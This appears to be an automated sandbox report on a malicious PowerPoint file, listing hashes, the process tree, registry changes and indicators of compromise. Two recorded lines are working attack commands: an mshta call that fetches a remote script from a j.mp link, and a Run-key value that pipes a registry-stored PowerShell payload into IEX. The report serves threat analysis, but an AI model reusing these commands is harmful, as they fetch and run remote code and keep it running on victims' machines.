Analysis
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max time kernel
67s -
max time network
125s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
24-02-2021 17:10
Static task
static1
Behavioral task
behavioral1
Sample
DOC.ppt
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DOC.ppt
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
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Target
DOC.ppt
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Size
141KB
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MD5
53f09cdb89620ee0d02c006d5bdf758f
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SHA1
caf1ff6f5563d23eac7c547f2309c0608ae3029f
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SHA256
a9194b2dc593c73598cc95b3b1aad400910f48225e527dc61159300be44651ca
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SHA512
60374ee268f24ce193c860caf5ccf779a94388f44923bf2ecd5ba3273dfe937c4d8f960cdd906f56eccd39a81623636a2b07c22f116de8f1ee48cbe5f89b8a94
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mSHtA.exeping.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 336 2028 mSHtA.exe POWERPNT.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 1208 2028 ping.exe POWERPNT.EXE -
Blocklisted process makes network request 13 IoCs
Processes:
mSHtA.exeflow pid process 5 336 mSHtA.exe 7 336 mSHtA.exe 9 336 mSHtA.exe 11 336 mSHtA.exe 13 336 mSHtA.exe 15 336 mSHtA.exe 17 336 mSHtA.exe 18 336 mSHtA.exe 21 336 mSHtA.exe 23 336 mSHtA.exe 24 336 mSHtA.exe 25 336 mSHtA.exe 27 336 mSHtA.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
mSHtA.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run mSHtA.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\rednufed = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).Defunder)|IEX\"\", 0 : window.close\")" mSHtA.exe -
Drops file in Windows directory 1 IoCs
Processes:
winword.exedescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log winword.exe -
Processes:
POWERPNT.EXEmSHtA.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mSHtA.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE -
Modifies registry class 64 IoCs
Processes:
POWERPNT.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493456-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DataLabel" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Interior" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "LeaderLines" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}\ = "ColorEffect" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B}\ = "EffectParameters" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A52-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\ = "CustomerData" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\ = "MediaBookmark" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\ = "Pane" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Walls" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493456-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\ = "CanvasShapes" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493453-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\ = "Comments" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348F-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EF-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EF-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 2028 POWERPNT.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
winword.exepid process 724 winword.exe 724 winword.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
POWERPNT.EXEdescription pid process target process PID 2028 wrote to memory of 1984 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1984 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1984 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1984 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 336 2028 POWERPNT.EXE mSHtA.exe PID 2028 wrote to memory of 336 2028 POWERPNT.EXE mSHtA.exe PID 2028 wrote to memory of 336 2028 POWERPNT.EXE mSHtA.exe PID 2028 wrote to memory of 336 2028 POWERPNT.EXE mSHtA.exe PID 2028 wrote to memory of 1208 2028 POWERPNT.EXE ping.exe PID 2028 wrote to memory of 1208 2028 POWERPNT.EXE ping.exe PID 2028 wrote to memory of 1208 2028 POWERPNT.EXE ping.exe PID 2028 wrote to memory of 1208 2028 POWERPNT.EXE ping.exe PID 2028 wrote to memory of 724 2028 POWERPNT.EXE winword.exe PID 2028 wrote to memory of 724 2028 POWERPNT.EXE winword.exe PID 2028 wrote to memory of 724 2028 POWERPNT.EXE winword.exe PID 2028 wrote to memory of 724 2028 POWERPNT.EXE winword.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DOC.ppt"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\SysWOW64\mSHtA.exemSHtA http://12384928198391823%12384928198391823@j.mp/akawdowdkwoapdlwnduhand2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
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C:\Windows\SysWOW64\ping.exeping2⤵
- Process spawned unexpected child process
- Runs ping.exe
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C:\Program Files (x86)\Microsoft Office\Office14\winword.exewinword2⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/328-8-0x000007FEF7E60000-0x000007FEF80DA000-memory.dmpFilesize
2.5MB
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memory/336-7-0x0000000000000000-mapping.dmp
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memory/724-10-0x0000000000000000-mapping.dmp
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memory/724-11-0x00000000698C1000-0x00000000698C4000-memory.dmpFilesize
12KB
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memory/1208-9-0x0000000000000000-mapping.dmp
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memory/1984-5-0x0000000000000000-mapping.dmp
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memory/1984-6-0x000007FEFC511000-0x000007FEFC513000-memory.dmpFilesize
8KB
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memory/2028-2-0x0000000074C81000-0x0000000074C85000-memory.dmpFilesize
16KB
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memory/2028-3-0x0000000071D11000-0x0000000071D13000-memory.dmpFilesize
8KB
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memory/2028-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB